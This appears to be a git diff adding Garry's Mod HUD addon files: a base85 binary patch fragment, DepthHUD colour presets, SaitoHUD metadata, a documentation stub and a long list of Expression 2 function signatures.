z@SP{SCcRugb<4r2o62b3+-FCJx^gzmH@lKrJiK&;kJWAaY3tgG(h+k!y|u-UqwR<) zbG2dyxO{>u#sDcJ*|m_2D%zYAJRlx@(0&BmJalf1IpRu;Pbe@02uLs_0NH#4z>{h_ z>N{O+ZGGp@FR2;VRmtV-qdD@s`vxv8M@@UM9&dtCE9;-5K3ItiydJ1G=$Y54jrdcs z&EPS_l5{IHm>X0 zXJUz!mH&fQq+%?XU`YClAIop{e*4XF`PB9IzuEuy^Q>f``|WD!gEc^1=C7cJK?@Sa z549l2{JRBdVFn4zM^r-jEB#ll_R}W$NdLtP{qj*dP2S7-(SG?Dt&#<$2Mmpm@_oPq zLo|^RWFZy2z4Qc3g{vfx>(tN9{xPaL3LdBm!+gp*!M`e}MbiT`TO~6N;hDMp%)FPWzeRyNQ%y?1*C%^>s6bw=0|KwzM=m%C&(e(7X#mO zS|GO#z+Ff6S!%F_cXo7oOq4^RY8XqU10Zl!IJ ze!!z9vZVwaN_0=0G@FWTRv=Qaa1?b;L1;-DM1ug-VgmK%*6k(3qGDq5Dk^epF;-j2 z_N`+ZLL$pXqL5%Cp*0mvwvu0kMK;N=)=dZtt(_#lHX|~O zwfa6nSFvG%%e`k1DmE;X41jWB^FG|eI2vKsSqPR^Q z+CwZ2cR$oobN7&~mcdTL)pW0iWg~1cmSH8^pBYzgiX1({RTgQgANS1m5?fSETy7cH zVY5}sN6KdmL&wZbw5)DoX!wMQw0ycb>{lhRGb-dG)i#DptEGE|d@K+XldC2J;X{28 zqxX=w&|t-bSBmwbLU)wFo2t1o&IO#BB32^+j!DlD@+Yksmo}%gu`qE|R##4AU1s(i zSD-Z`JUFQ|gUg##Y>7&-;D=EWRof>nCX_DZWZo6@q$YRi&-D7SV3@2&f} zO3T#T14{0CRH0MK{hLCG{qi?TeGym^FAmACy$drJTebnvgC~TQt=@m@F8qGTzl8je zO6h9;0X1K-M!ptV&u1#_{<4C#n_0`3mC|Ray@~mu+*;%PTvnrc@2&gyD)p(k2ZrRb z+SJ@Hm0U%FDYY$7Ys+WlKAc-SB$w5u-h1nQu2P$tdmx{2jJ5YHi#V5s;U5JvvrZ8> zhqG@G0txGM5CW-KK}s|dAPg2ea>`r!|JmE{l3s^N_ z1UnJ~;+Xv#7pg=vRw0rut}-&$ZNxnlc&I6U9|Z+HB%Lp9JUpdr)y(w9m!~uyntF6W zW#!y?W5z5Lnx?$mm_Bn=*_6YLQx7$cYi=GlcENnqjon}TQS_BX>l0kj;bEp=W1!^k z11vxQY;G@+3y;!m3=W4L9>w%<1v>`78eDFOQZRTq111f{l;ex&tA<0Nit|TZ8z&rG zc%-4>rwa~FSYNoQydhnoEvuf;o>;*68R&0OVlPftk{3X(zKD5?*v%14?EzB!Cxl%;8?1;=;sGm{4vQ2>?K&hKx3MZ*y2{tnfgNgqt8u$ zzN(@<(OxHCo|~1Ooj0>-M0U1|t%_5$0eiG>W0pdWdI|MVE>yg+f|hkF$!_c#z#MgT z&rd8|QSWq4T0U~(^L5-&e0SEbC@k!lls55slvgR&3oIV%gII4kZ(`^&Dj<}t@nFay zxHH593;iCoi^!n^9*Ht5cDc z*uSQ#Un-ni)mvC33B$pR68BIA1~A1%;Hqo3Ehx061leP3MWwEyYDe1QYacFr?}^9W zT(GJL%jLPsalJnNQIF94(NVTT!gJxw9qmsqJa5jSQBw`<83{=oGx-L03NXnw? zhS{~!x^OIIWpf0&!=@f53D&6SSd5cjdNklHL4KMvE*jPzf{}iLBQ@Gj#3mT@Oa-JKgg9oV33-Uh> z9h|w1CX}}oP8ek<%U-uGyNtWCUHR058iS%R`h`<-#AJiWsf^eS*3gcx<@xDVD@KeTkGk$~+FUnuPbU^;c z-o4cOz)RHUMfv>^k5$k6k4fnb8^>2Kb2TJXI+_fijmm@&Oi5!Qm04WB87gmsu zUIW0Pzd!Z!V4ENrGQpE}iCTlS#>)p}2x4Sln})2u*tLa$R=^2t#IY??+V;X5TVF>P z@Zbymskiog!7ajW$s8uk2Hxf8%HH%J-3(FD4URx}2p4!GK9c(nAjSD z{$?N^guM}tKnucEaRb{v?Cj{ErsHx7H}4}{$~TYGOVsC|v%Ak;IP=}?&1Wv4iO`EQ z3Fv`0@gwQ3WM4$;SPYlJvLv$)gXd5$gs3^TcgdiIzt9g-g0|=>)CI+{p@O1-vAYM1 z!ta`d{(3p`=r^1!!~hvGW#A>CL+a&Kv_d}4kW!DlCs)z}?$ZI-G(6A=hlKs`NLq1H zOAZjs8!XqB)(r)QWURf0$L^y;@ZA7_2pyRK zY*f!5esVOGuKkar$^9D=RD=kR(?%{yHhvHE8XHgph{+A3kuf@78h~w$A;w5g;E+?H zBSge_gaFMjEGj@FgeB@8g9au(mI!ymgLna0aIrSUE2emO*aj&ki`@WpaCvZm80H=u z1fxr~n*9rBy)tRU!pBFxeERJ}vwCYLzA~r!$w?{a>r1jGmz7P<8aa7jPFX|F$hzTW z@!3;3=ZpjO)8>@cB>j5#^S_=sYfe*ob0(gx%ZqzL~%#m(aP{xdftLmtV3%4K(7Bc!xCxzyd9ODjIDDhRLM96o&LutSA=9R9x{MaF3S zsf~&m7U|WK+?@-Xh0OlYH-&{wC;6Lq&UXu$!aXzsUa ze_&x_&|fbEE15&hUk}?sqq@|5sfh5Za;Cz)AdTu(li(X+%vjwOr25q6|D++Oudl7X zp}lYRQiqIS$H4j}t*Spw-HUVzT0$%=Z=6X2e~cdj&Y>}E_j4e%Ti9U=;ONi}c)m%7>+PrRIe$?b{^#{H6qFdTgB1xIQ5#$G#q1ei}4HAK0V@%>GzR zL=S`)O<2x|v3r<6S}Xt$kXGa+MCRc*QxPOg&9OLj6!-`W_T5e!^_Qy~ zipydaWj#6n$dMzbMwLC2SsZTVTFVlmqilsO^VeimmPaMdD{^dkN-oIBTI3TRiS~A& zy-8>;*yO~{+=28`@B#Ni zNJ+j4(G9zIHAE-)va4OY8?uKT^^Zy^ElG(A42()DEl-N_7Xm7lOpBg||Cdx$ESiq1 zoM&5WXIYYxqUJp^et{LAvoU%bFbf#!(gFP-$+Mve;&3(oT3nCUIW0lv%brr7^V-$d-bgJ^ z>3uh?tn8hQ3KU&MWbQaIYGfwUHQ*(a3gNe6n#L&T8s$+m61(_eT_tBD?p>qsJpERsr?S>}&_p*#RPgFIoOMVD5v+5U#Eoaw# z0Kh_U$o%rMIVMj}?$RKNhF)0zyn-z;ap_AE(C`x;DmxmbD%y@8w>W2Lto+%V_~XTT&z(e*rK7Y z;dlbRjo3tSIAz;0+M>Onhbh|+-0WG6fig9Wg`BXP8Br(bU_n7KgHzZTlcs84gMrZY zhKla?r1Sta7~0-g(Y?IHDW7+iuxMxm-5)8x>ny$>5p{H4NLjIQsu~nc>wLfL^iQlT zB>G&*jps@RZpE;$D69_nLDqsf@$jIfx$MD|;)tdo9t9s zgn?@+2iRa+iNY)#gON06T0Uk=9^^0E3#8grnC@Kl&6_l3-pR$yCl@sC^9k%T58IpH zT$@*y!YAFhbD`yzO^vFz!pv^EbGoK#H4O0pX%z*Fb~x zTfvyPiW7$l6r(5&{EagMBl(W=)Xer;F|6cFXeU}?b_EfW7AqfH!9+c;D^Wmf>NYTC zpADiTfU)^QKFvHKPdh3f{`3P{NgEZ6r`NzL6*XyxP7xq7v`oA!n#3?Uz_ygyv0D*b zPp9#O;e-QtG_?fa9=CnN!lvLEyn31i>m?=)B*LCRWEun#Wu{oYGmux0MpphwnSaou_ebj8$8JPm8o~y?UR3=F8ZQXGj ztD46C8CeG>EIwHQJJl<pEvy1rW28y}rfur21{uv6)Ua?l$9)?G|6icB-?eECr-=}5QA3hgTnF$)E=pIpdn8M^rbECsw-c&U|8z0h4+y(Ew4B-4$i+XFy{q(8@P)P zBWvh|iCqly=Pb8c%Q7o!?_+ExjIF93l$&KaQ8~%g4+C!gUrs>UK(A=>xP6#U!1Mp zjcp!y1kD;ewF7(B*scMtm7UvjOx=KhpEr?k;hazl50RZzyGEOgo;txiOc&_Q1qJwc z3Fb&Yy)P_uPGRej!vvszgaDjLAcR?UL4-3I1F5hwB+OUz(sJIOI*qW>>VbO_*lJYN zH22;f_!P0VgdMp8Rn-W;A`YI?*xaZ+Y!-#{!&jX^A|#v+Sj%88a*G z<(+JHKrV4sMS2)r-W;)t_8D1g|rkUTiZi^()Ri=~6j3sVRO zd2{bsRp4+7hDsSW$0{&3dT1qVj+ub0bp}yv76RuE#VK4=Yu6}HUJsq9;|)PtINLc) zHBk(OVu0fwbRIYql||~@5LGtg7=Bb#eb5g8d&qaZm$4V>tyQ}CP-)Q|ep zHcxM~i=7CjY`(ETRT;!~f(tY6_=7FGfa5#+aCGOu_91N>1b=cz9&81p6KK6>WQ^Yi3906|tF%!-xI+z!~Kp=g|gZapU4?nRp2 z(PnuIZ86GAX!o1kJ4(#?SE_$wA3aHTbFX5=z%kwD96We14jTn_Fb+L=oAIc-#dIyX zjQf9xM_JrV=Oo>R)rEV3>t*+1HvA8~l|40-DdOqNtON}^4@_r5q;AN0V9-PxT-8I) z1S_TEDb5AcOEuI*+1X$Sb3A-DSY9O&yQ+(c)CE&a`hiozq&f^QJ2Z{y$n0#w|JPH( z9)4J(SgPu2V*j@%h-rlTCywncaIwS1=>PqpVgrkZoI`fredO3Zjg6flt7>Mq-1r<7 zal`Ue#LX=?;^tuuZ~p`L+wR?e;66e}m^K8tQ|rz@2tFO7x9)$2pbsl8jNWz9rjz>?7()$U8%$k%X|`wX2h}V-Z{SJpG2u3L zTu^dMc%82jKgLc{oQ0_+T)YPyxKx;gMXnxz1aUdoIu-bk!Bco$m*1ERs7+Fz)_%Eefh3~j#MdM(tfCk1|F?650s=9E^*RKoToxmi5V`>jfzCGY3 zCfI$U=>~ryrH3dGn@uoa#7#jsvcN5X7#m=^^C0NrA&3nb**5at{~e<|_@|=w%?9MmdLGn!vOhWv8A(J9aoF3#uNvxo6LgPxkIs1FK4K6)l*H7VIBv z0aUXeXaQv#+V)?Xa~LlJNnm64z+A-Ec38F((Smh+rg-Q6lkhDfxg-DNiWR;JqSnz3aB#jl3J7Gr9BcKl`0D zBuiXQDuoKtA@q_;ZVxFIUMG3HObUfMqUTQ$A2EcS!lXDP%q7$K)1+3~ORA)HoDH0T z&(k=`_9oIrq|@XZp_t4@YNfX@Sq_u$`EIgLY$Th6Ya~xPN!rEBWE1B__Hi3X4^lh- zG3v!LTmspLlT0>nS@>kyX|a<31wK2GYLH6Z*Gt@=jrd%`Eg&DUq|G36@qM=PX(U_4 zPe_+Y(Dq7lN|eY3u^N5&5a}4cr{McKa*C_NcLOnr#rWJsPD!2k?HrOFziZu}dH4paV9w|bioJvJuwRVa4-|-!)U^tBR#Cm_^cJSk_|}UHrV}`hwlr>A@p$(K3j!x zWD)GDaY7TW*O5awUv(cB4xN7*t~NLaM;;c#b{8cj0-A1$Pqt-$eHC@1jrN z5Fgl832bcGc<_aw{c-XQ`$Ru#m436nqu;F0;=4!*=o4!{Yts)ToOrv4wQp!b`_>~x zpp8e6F5PPzYv0g>cCohIODD)$w6lZnM|oYSua@i*Fo!UYDuuP=kaUxDv!wAM)dB&| zfsl7Wv)P)xL=SBK2I-(WC$t%K6;hT$=WdkWgnZCjT#GR|L5}n7n2&qOT>c2@VEvPN zQ5S2M5h#wsq!;sHns5+vxQf^rUGP>RJ;Iz7NZX_ZWFMQO_h^OZHGL@KCZ5MU(wxIy z*`t_?NL-AXSb3rq{Q})to9MQ?kzy6*^Q)u+X`66_RKT5Cfwrw>^O&>Z`D0|CZY$=`22vfo@xoFwbZWz8}Ho zT=u(riI?NkofIa*C2gzt!!5uU*v_F}f;Ud%!wECWU0-V;BC$0Q0!j1fqn zlC}xyAku$a0oH4O=6rQRmQF^-Tl2`Lrn zFN8RokX9n$cPIMmJcER`JJIHJv?m??PDlCa6-d*NK+|-Tn|=`K1k!JjK0`vkG6Im| zkyh>%9Y^{A=}$=C5t3;@LccT7m&|7f$?`&aoseuin^TE|XL4jha*>z! z4k07{i;(x7I%ehCOzf_9Xkt)oJb z(1udw}d=`XCA@tkDNq8yQ;NFeAXT`Yg{%2wDqeH-LwEdmUcv(gwIyhH0a-XiuY-b?m6-e7hD@BTVT-ozf5x5(Rg+twMp zx9T0`jbZF|J0N$#3vptKZ`7R_wiAACdop$L05U=hYv`RlM2k8o7?QVEu`F r3@#QLZqb`0Ki-049K5=O4sBazi_q4V<5@|%U*~hzhTH8!=gj{G2T$O> literal 0 HcmV?d00001 diff --git a/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt new file mode 100644 index 0000000..3ed1c10 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt @@ -0,0 +1,15 @@ +"Black and White" +{ + "dhinline_col_base_g" "255" + "dhinline_col_base_a" "255" + "dhinline_col_back_b" "0" + "dhinline_col_base_b" "255" + "dhinline_col_back_a" "165" + "dhinline_col_back_r" "0" + "dhinline_ui_drawglow" "1" + "dhinline_col_base_r" "255" + "dhinline_ui_spacing" "1" + "dhinline_ui_blendfonts" "1" + "dhinline_ui_dynamicbackground" "0" + "dhinline_col_back_g" "0" +} diff --git a/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt new file mode 100644 index 0000000..db1bc02 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt @@ -0,0 +1,15 @@ +"Shiny Default" +{ + "dhinline_col_base_g" "220" + "dhinline_col_base_a" "255" + "dhinline_col_back_b" "0" + "dhinline_col_base_b" "0" + "dhinline_col_back_a" "92" + "dhinline_col_back_r" "0" + "dhinline_ui_drawglow" "1" + "dhinline_col_base_r" "255" + "dhinline_ui_spacing" "1" + "dhinline_ui_blendfonts" "1" + "dhinline_ui_dynamicbackground" "1" + "dhinline_col_back_g" "0" +} diff --git a/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt new file mode 100644 index 0000000..c6ef8aa --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt @@ -0,0 +1,15 @@ +"XRay" +{ + "dhinline_col_base_g" "227" + "dhinline_col_base_a" "255" + "dhinline_col_back_b" "61" + "dhinline_col_back_a" "201" + "dhinline_col_base_b" "232" + "dhinline_ui_drawglow" "1" + "dhinline_col_back_r" "7" + "dhinline_col_base_r" "215" + "dhinline_ui_spacing" "1" + "dhinline_ui_blendfonts" "1" + "dhinline_ui_dynamicbackground" "1" + "dhinline_col_back_g" "52" +} diff --git a/Repos/HeXs_SaitoHUD-master/Desktop.ini b/Repos/HeXs_SaitoHUD-master/Desktop.ini new file mode 100644 index 0000000..29d8672 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/Desktop.ini @@ -0,0 +1,3 @@ +[.ShellClassInfo] +IconFile=defaultlogo.ico +IconIndex=0 diff --git a/Repos/HeXs_SaitoHUD-master/addon.txt b/Repos/HeXs_SaitoHUD-master/addon.txt new file mode 100644 index 0000000..506eacb --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/addon.txt @@ -0,0 +1,9 @@ +"AddonInfo" +{ + "name" "SaitoHUD" + "version" "SVN" + "author_name" "sk89q, BoJaN" + "author_url" "http://code.google.com/p/saitohud/" + "info" "Multi-function HUD and client side addon" + "override" "0" +} \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt new file mode 100644 index 0000000..20030e8 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt @@ -0,0 +1,905 @@ + + + + +SaitoHUD Documentation + + + + +

    + + diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt new file mode 100644 index 0000000..08769d2 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt @@ -0,0 +1,1697 @@ +setColor(e:nnn) +findClipFromName(s) +op:dlt(m) +forward(a:) +holoRenderFX(nn) +select(nxwl...) +op:mul(xm2xm2) +clone(t:) +findClipFromBox(vv) +matrix2() +op:inc(n) +real(q:) +pushVector2(r:xv2) +toString(xv4) +op:idx(v=xwln) +op:ass(xgt) +dsSend(ssnc) +gRemoveAllVector2s() +glonError() +op:ass(xv2) +entity(t:s) +gRemoveAllMatrixs() +dsSendDirect(sexwl) +dsJoinGroup(s) +swapElements(xm2:nnnn) +min(vv) +op:idx(q=xwlsq) +setQuaternion(xwl:sq) +dsSendDirect(srb) +gRemoveAllMatrix2s() +findAllowPlayerProps(s) +op:eq(qq) +op:ass(e) +op:idx(xm2=rn) +hsv2rgb(nnn) +gGetShare() +op:idx(n=rn) +setZ(v:n) +elevation(b:v) +setVector4(xwl:sxv4) +op:div(xm2n) +dsSendDirect(src) +volume(e:) +findIncludeClass(s) +npcSetTarget(e:e) +setDiagonal(m:v) +cos(n) +killPod(e:) +findByName(s) +op:idx(s=xgtns) +clip2(e:) +matrix4(m) +setVector(r:nv) +op:idx(xgt=xwlsxgt) +dsGetEntity() +popMatrix4(r:) +findClearWhitePlayerPropList() +op:idx(b=xgts) +op:add(xv4xv4) +matrix(a) +op:add(cq) +trusts(e:e) +rangerOffsetHull(nvvvv) +select(nxm2...) +op:is(a) +findClearBlackClassList() +op:idx(xgt=tsxgt) +op:ass(xm4) +soundPurge() +dsGetArray() +find(s:s) +op:exp(nn) +cross(xv2:xv2) +removeString(r:n) +dsSendDirect(srv) +gResetGroup() +tan(n) +positive(xv2) +removeAngle(r:n) +hsv2rgb(v) +isSteamFriend(e:e) +cscr(n) +op:div(vv) +ranger(nnn) +op:mul(nn) +setColumn(xm2:nxv2) +op:mul(xm4n) +positive(v) +teamFrags(n) +npcGiveWeapon(e:s) +holoReset(nsvvs) +gDeleteEnt(n) +toLocal(e:v) +complex(xwl:s) +teamDeaths(n) +op:trg() +findInCone(vvnn) +changed(a) +op:add(qq) +convertUnit(ssn) +setColor(e:xv4) +dsGetVector() +qj() +removeArray(xgt:s) +ln(n) +distance2(xv2:xv2) +findToArray() +trim(s:) +swapElements(m:nnnn) +vehicle(e:) +op:add(cn) +lastSaidWhen() +team(e:) +vec2(xv4) +normalized(xv4:) +rangerHitEntities(n) +op:idx(xm4=rn) +sinh(c) +pi() +acos(n) +sech(n) +rotateAroundAxis(a:vn) +max(vv) +op:idx(xm2=xgts) +op:ass(xm2) +index(s:n) +unshiftComplex(r:c) +op:idx(a=rna) +clone(r:) +cosh(n) +isAlive(e:) +inputClk() +ceil(n) +sec(c) +fileClk() +height(e:) +toString(xv2) +soundPitch(nn) +soundStop(n) +npcShoot(e:) +pos(xm4:) +op:neg(xv4) +passenger(e:) +identity4() +insertBone(r:nb) +op:not(n) +op:div(na) +angles(e:) +setColumn(m:nv) +readCell(xwl:n) +op:idx(q=xgtnq) +removeWirelink(xgt:s) +op:var() +isAdmin(e:) +dsSendDirect(srxrd) +insertVector(r:nv) +op:sub(vv) +findClipToBox(vv) +op:idx(v=xgts) +left(s:n) +clamp(xv4nn) +dsSendDirect(srm) +findExcludePlayer(s) +op:idx(xm4=rnxm4) +op:add(aa) +matrix2(xv2xv2) +shiftMatrix2(r:) +maxVec(xv2xv2) +op:mul(cc) +xyz(xwl:) +op:sub(qn) +mod(an) +index(b:) +unshiftVector(r:v) +holoScale(n) +inputType(xwl:s) +friends(e:) +y(v:) +x(v:) +dsSendDirect(srt) +z(v:) +setBone(xwl:sb) +gShare(n) +op:mul(cn) +dsGetAngle() +trace(xm4) +holoShadow(nn) +clip1(e:) +setRanger(t:sxrd) +gravity() +hasInput(xwl:s) +setColumn(xm4:nnnnn) +inrange(vvv) +attachmentAng(e:n) +soundStop(sn) +rangerOffsetHull(nvvv) +op:ass(b) +op:mul(nv) +identity2() +toByte(s) +findExcludeClass(s) +hint(sn) +dsSendDirect(srxm2) +shiftVector(r:) +log2(n) +op:idx(b=ts) +setMatrix4(xwl:sxm4) +applyOffsetTorque(b:vv) +writeString(xwl:snnvv) +op:mul(nm) +setMass(n) +removeMatrix(xgt:s) +printColor(...) +op:neg(xv2) +model(e:) +sinh(n) +entity(xrd:) +hit(xrd:) +op:gth(aa) +writeCell(xwl:nn) +setElement(m:nnn) +bShr(nn) +holoClip(nvvn) +findClipFromModel(s) +toString(n:) +setPitch(a:n) +select(nn...) +format(s...) +gGetAng(s) +fileClk(s) +op:neg(xm2) +op:div(xv4xv4) +boxCenter(e:) +ceil(xv4n) +dsGetVector2() +systime() +op:idx(xm4=tsxm4) +removing() +op:exp(cc) +findResult(n) +findAllowPlayer(e) +removeVector2(r:n) +pushAngle(r:a) +inrange(xv2xv2xv2) +op:neq(xm2xm2) +element(xm4:nn) +qRotation(v) +findIncludePlayerProps(s) +op:neg(a) +vector4(t:s) +dsSendDirect(sen) +op:idx(r=xwls) +random(nn) +op:idx(v=xwlnv) +right(e:) +angnorm(n) +toString(b) +shiftL(a) +runOnSignal(snn) +heading(e:v) +max(nnnn) +gSetAng(na) +isConstrainedTo(e:) +op:idx(b=xwls) +radius(e:) +rotate(v:a) +inertia(e:) +op:or(nn) +dsSendDirect(srq) +dsSend(ssnxm4) +matrix4(a) +csc(n) +op:whl() +rangerFlags() +holoCreate(nvv) +dsClearGroups() +transpose(xm4) +findUpdateRate() +wirelink(xwl:s) +acos(c) +quat(nnnn) +invert(t) +normalized(xv2:) +minVec(xv2xv2) +holoClipEnabled(nn) +removeTrails(e:) +angle(r:n) +insertEntity(r:ne) +concat(r:s) +dsGetNumber() +isConstrainedTo(e:sn) +up(a:) +cbrt(n) +selfDestructAll() +isLan() +findIncludePlayer(e) +dsProbe(s) +weapon(e:) +setY(v:n) +length2(xv4:) +setVector4(t:sxv4) +qi(n) +gDeleteAng(n) +op:div(mn) +opcounter() +pushVector(r:v) +popVector2(r:) +op:idx(e=xgts) +upper(s:) +vec4(v) +rangerHull(nv) +setDiagonal(m:nnn) +shiftComplex(r:) +matrix2(t:s) +type(e:) +dsSend(ssv) +removeNumber(xgt:s) +setSkin(e:n) +teams() +element(xm2:nn) +sin(c) +shift(r:) +op:idx(xv2=xgtsxv2) +op:idx(t=xgtn) +op:idx(xm4=xgts) +pushComplex(r:c) +round(v) +dsSendDirect(sre) +setMatrix(r:nm) +setYaw(a:n) +setAngle(r:na) +reset() +setMatrix4(r:nxm4) +dsSend(ssn) +inrange(xv4xv4xv4) +findClipToSphere(vn) +dsClk() +op:mul(nxm2) +lastSaid() +min(nn) +hideChat(n) +randvec() +y(xv4:) +x(xv4:) +w(xv4:) +writeArray(xwl:nr) +distance(v:v) +printColor(r) +setVector4(r:nxv4) +round(xv4) +lastSaidTeam() +aimEntity(e:) +pop(r:) +applyOffsetForce(vv) +ang(v) +findClipFromSphere(vn) +op:idx(e=xgtse) +gGetVec(s) +playerDamage() +op:idx(v=xgtsv) +dsSend(sse) +keyAttack1(e:) +op:idx(xv2=xgts) +matrix4(av) +op:neg(n) +tanhr(n) +op:lth(nn) +op:idx(r=xgtn) +velL(b:) +vec4(xv2nn) +matrix4(xm2) +op:add(qn) +vec(a) +applyOffsetForce(e:vv) +dsSend(ssnxv4) +coshr(n) +rotationVector(q) +op:is(e) +gRemoveAllVector4s() +op:sub(cq) +toString(n) +op:add(vs) +op:idx(v=xgtnv) +op:idx(b=rnb) +op:add(nc) +op:add(sa) +op:idx(xv2=rn) +minquota() +npcRelationship(e:esn) +op:idx(e=xgtne) +removeVector(r:n) +tool(e:) +floor(xv4n) +changed(xrd) +pushMatrix(r:m) +op:idx(m=ts) +op:idx(xv2=xwlsxv2) +matrix2(nnnn) +op:add(nv) +soundStop(nn) +random() +length(v:) +isFrozen(e:) +lastSaidWhen(e:) +op:idx(n=xgtn) +holoAng(na) +op:for() +findClearBlackModelList() +op:neq(aa) +op:dlt(xv2) +op:is(s) +findByModel(s) +op:neq(xv4xv4) +op:idx(xwl=xgtsxwl) +floor(n) +row(m:n) +op:ass(s) +array() +removeRanger(xgt:s) +ang() +holoMaterial(ns) +op:exp(nq) +gTable(sn) +toString(v:) +op:idx(sn) +op:if(n) +findClearWhiteList() +op:is(m) +hostname() +entity(n) +replaceRE(s:ss) +dsSendDirect(srxwl) +teamName(n) +op:leq(nn) +popString(r:) +op:idx(xv4=xgtsxv4) +removeMatrix(r:n) +op:neq(nn) +findPlayerByName(s) +ammoCount(e:s) +hitNormal(xrd:) +clamp(ann) +soundStop(s) +matrix(xm2) +x(xv2:) +y(xv2:) +soundVolume(nn) +dsSend(ssnxm2) +fileListClk() +op:idx(e=rn) +setMass(e:n) +soundPitch(sn) +duped() +op:is(v) +findDisallowPlayerProps(s) +findDisallowPlayerProps(e) +signalClk(ssn) +abs(q) +gRemoveAllQuaternions() +applyForce(e:v) +health(e:) +insertMatrix(r:nm) +inrange(nnn) +matrix(e) +op:idx(v=xgtn) +trace(xm2) +gDeleteEnt(s) +fileListLoaded() +bone(t:s) +op:neq(cc) +op:idx(n=xwlsn) +isWeldedTo(e:n) +removeEntity(r:n) +removeVector4(xgt:s) +swapRows(xm2:) +csch(c) +dsSend(ssnb) +log2(c) +printDriver(e:ns) +map() +vec(xv2) +minIndex(r:) +attachmentPos(e:n) +fromUnit(sn) +angVelVector(e:) +gGetStr(n) +lookupAttachment(e:s) +diagonal(m) +transpose(xm2) +op:ass(a) +insertNumber(r:nn) +gSetStr(ss) +findClipFromClass(s) +gSetNum(sn) +setRow(xm2:nxv2) +concmd(s) +chatClk(e) +timer(sn) +round(vn) +length(xv4:) +removeNumber(r:n) +table(xwl:s) +parent(e:) +setTrails(e:nnnsvnnn) +findClearWhiteEntityList() +row(xm2:n) +op:exp(mn) +matrix(nnnnnnnnn) +swapColumns(xm4:nn) +ping(e:) +setElement(xm2:nnn) +op:mul(xv4xv4) +op:neq(cn) +gRemoveAllArrays() +setColor(e:nnnn) +shiftNumber(r:) +dsSend(ssnr) +op:idx(s=xgtn) +rangerHull(nnnvv) +floor(an) +shiftR(xv4) +clamp(xv2nn) +minVec(vv) +quaternion(t:s) +changed(xv2) +op:idx(s=rns) +isNPC(e:) +dsSendDirect(sexm4) +op:mul(nq) +npcRelationshipByOwner(e:esn) +op:idx(m=xgtsm) +removeVector2(xgt:s) +eyeAngles(e:) +op:add(ns) +dsSendDirect(see) +op:idx(t=xgtst) +getColor4(e:) +op:div(vn) +toAngle(v:) +findClearBlackList() +round(nn) +mod(vn) +vec(nnn) +op:idx(e=rne) +op:mul(xm4xv4) +matrix4(xm2xm2xm2xm2) +findDisallowModel(s) +inVehicle(e:) +sub(s:nn) +op:div(xv2xv2) +gtable(xwl:s) +removeMatrix4(r:n) +tanr(n) +sub(s:n) +rotationAxis(q) +unshiftAngle(r:a) +average(r:) +id(e:) +op:ass(m) +op:mul(aa) +findDisallowPlayer(s) +ops() +ranger(n) +sinhr(n) +isWorld(e:) +distance(xrd:) +toNumber(s:n) +changed(c) +dsSendDirect(srr) +vector(xwl:s) +op:idx(xwl=ts) +transpose(m) +cosr(n) +gSetVec(nv) +find(s:sn) +runOnChat(n) +angle(t:s) +findDisallowEntities(r) +gDeleteVec(n) +hasConstraints(e:s) +holoCreate(nv) +op:idx(a=xwls) +writeString(xwl:snnn) +slerp(qqn) +dsSend(ssnn) +op:idx(xv2=xwls) +imag(c) +isVehicle(e:) +gRemoveAllVectors() +fileListTable() +parentBone(e:) +op:div(xv2n) +mix(vvn) +op:div(xv4n) +setAngle(xwl:sa) +select(nxgt...) +massCenter(e:) +convarnum(s) +setWirelink(t:sxwl) +op:mul(cq) +dupefinished() +bone(xwl:s) +mod(xv4n) +op:idx(e=ts) +floor(xv4) +shiftAngle(r:) +row(xm4:n) +op:idx(c=xgtnc) +matrix(t:s) +popNumber(r:) +maxquota() +insertMatrix2(r:nxm2) +noentity() +rangerFilter(r) +rangerPersist(n) +op:leq(aa) +qj(n) +isConstrained(e:) +entity(b:) +pushNumber(r:n) +findRE(s:sn) +unshiftMatrix4(r:xm4) +dsGetString() +ceil(a) +time(s) +op:idx(s=xwlss) +noranger() +entity(r:n) +clamp(nnn) +sec(n) +replace(s:ss) +outputs(xwl:) +op:seq() +op:idx(xgt=xwls) +remove(r:n) +clear(r:) +min(nnn) +op:idx(n=xwls) +clamp(vvv) +soundVolume(sn) +op:idx(q=xwls) +isOnFire(e:) +teamPlayers(n) +unshiftString(r:s) +op:idx(b=rn) +right(s:n) +bOr(nn) +findRE(s:s) +setNumber(t:sn) +op:idx(v=ts) +op:idx(xm2=xwlsxm2) +op:neq(xm4xm4) +setEntity(t:se) +dsSendDirect(srs) +wirelink(t:s) +setMatrix(t:sm) +findIncludeModel(s) +matrix(xwl:s) +table() +selfDestruct() +shiftR(v) +isInWorld(v:) +applyForce(b:v) +op:is(n) +bShl(nn) +findClosest(v) +setComplex(xwl:sc) +ceil(vn) +setGtable(t:sxgt) +select(nv...) +rangerFlags(s) +op:idx(a=tsa) +removeMatrix4(xgt:s) +op:idx(xwl=xgtnxwl) +int(n) +angnorm(a) +op:is(xv4) +rangerHull(nvv) +toString(e:) +op:idx(t=xwls) +op:idx(t=xwlst) +isFrozen(b:) +op:mul(qv) +op:idx(m=xgts) +tanh(c) +atanr(n) +values(t:) +dsSend(ssnxrd) +op:is(xgt) +findInBox(vv) +toAngle(xv2:) +changed(xgt) +pushMatrix2(r:xm2) +soundPlay(sns) +op:mul(xv2n) +op:idx(xv4=xwls) +setColumn(m:nnnn) +diagonal(xm2) +setTable(xwl:st) 